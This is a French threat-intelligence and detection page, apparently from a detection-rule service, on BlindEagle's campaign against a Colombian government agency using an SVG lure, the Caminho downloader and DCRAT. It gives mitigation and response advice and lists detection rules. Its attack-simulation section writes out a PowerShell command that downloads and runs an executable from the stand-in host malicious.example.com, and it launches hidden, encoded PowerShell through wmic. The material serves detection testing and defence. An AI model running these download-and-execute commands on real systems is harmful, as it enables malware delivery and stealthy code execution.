BlindEagle Cible une Agence Gouvernementale Colombienne avec Caminho et DCRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
BlindEagle a mené une opération de spear-phishing ciblant une agence gouvernementale colombienne, livrant une pièce jointe SVG armée qui a initié une chaîne d’exécution JavaScript-PowerShell. Cette séquence a téléchargé un téléchargeur surnommé Caminho, qui a ensuite récupéré le cheval de Troie d’accès à distance DCRAT open-source hébergé sur Discord. La phase finale a utilisé le hollowing de processus dans MSBuild.exe et appliqué plusieurs méthodes d’évasion pour réduire la détection.
Enquête
Zscaler ThreatLabz a analysé le flux d’infection et a signalé une approche de soustraction de SVG, plusieurs niveaux de JavaScript obscurcis, une commande PowerShell déclenchée par WMI et la livraison de Caminho par une URL hébergée sur Discord. L’enquête a également associé l’infrastructure de support à des adresses IP suédoises et à un fournisseur DNS dynamique (ydns.eu).
Atténuation
Appliquez des contrôles plus stricts pour les pièces jointes des emails entrants, surtout pour le contenu SVG, et imposez le désarmement/inspection du contenu pour les scripts intégrés. Utilisez des politiques de proxy web pour restreindre l’accès aux points d’hébergement de fichiers suspects, y compris les URL de fichiers Discord utilisées pour la livraison de malwares. Surveillez les modèles d’exécution inhabituels de PowerShell et de WMI, et appliquez des politiques de liste blanche d’applications couvrant l’utilisation de MSBuild.exe.
Réponse
Réponse
Déclenchez des alertes pour l’artéfact SVG malveillant, le nom de fichier JavaScript référencé, et les téléchargements atteignant l’URL Discord. Recherchez dans la mémoire ou sur le disque les traces de Caminho et DCRAT, des preuves de hollowing de processus MSBuild.exe, et de la persistance via des changements dans le registre ou des tâches planifiées. Mettez en quarantaine les points de terminaison impactés et bloquez le domaine C2 identifié.
Flux d’Attaque
Détections
Chaînes Powershell suspectes (via powershell)
Voir
LOLBAS WScript / CScript (via création de processus)
Voir
Archives Internet possibles résolues par un processus peu commun (via requête DNS)
Voir
Appel de méthodes .NET suspectes depuis Powershell (via powershell)
Voir
IOCs (HashMd5) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (SourceIP) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (HashSha1) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (HashSha256) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
IOCs (DestinationIP) pour détecter : BlindEagle cible une agence gouvernementale colombienne avec Caminho et DCRAT
Voir
Détection de la commande PowerShell de BlindEagle utilisant WMI [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : Le précontrôle de télémétrie et référence doit avoir été passé.
Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.
-
Récit et Commandes d’Attaque :
L’acteur de menace (BlindEagle) utilise WMI pour lancer un processus PowerShell qui télécharge la charge utile « Caminho » depuis un serveur C2 distant et l’exécute en mémoire. En utilisantwmic.exeavec laméthode create de l'appel de processus, l’attaquant peut exécuter PowerShell sans interagir avec une session utilisateur, rendant l’activité furtive. La ligne de commande contient le mot littéral “powershell”, ce qui satisfait la condition de la règle de détection.-
Étape 1 – Préparez la commande PowerShell malveillante en une seule ligne :
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
Étape 2 – Exécuter via WMI :
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
La présence de
powershelldans le champCommandLinede l’événement Sysmon 1 généré par le processus enfantwmicdéclenchera la règle. -
-
Script de Test de Régression :
# Simulation PowerShell via WMI de BlindEagle # ---------------------------------------------------------------------- # 1. Définir la charge utile malveillante (pour le test, nous utilisons une commande echo bénigne) $payload = 'Write-Host "Exécution simulée de Caminho"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Construire la ligne de commande PowerShell qui inclut le mot "powershell" littéral $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Lancer la commande via WMI (wmic) pour générer un EventID Sysmon 1 $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Exécution via WMI : $wmicCommand" Invoke-Expression $wmicCommand # 4. Optionnel : Journaux à la console pour vérification Write-Host "Simulation terminée. Vérifiez la détection dans le SIEM." -
Commandes de Nettoyage :
# Supprimer tous les fichiers temporaires (aucun créé dans cette simulation) # Terminer tous les processus wmic ou PowerShell persistants lancés pour le test Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Nettoyage terminé."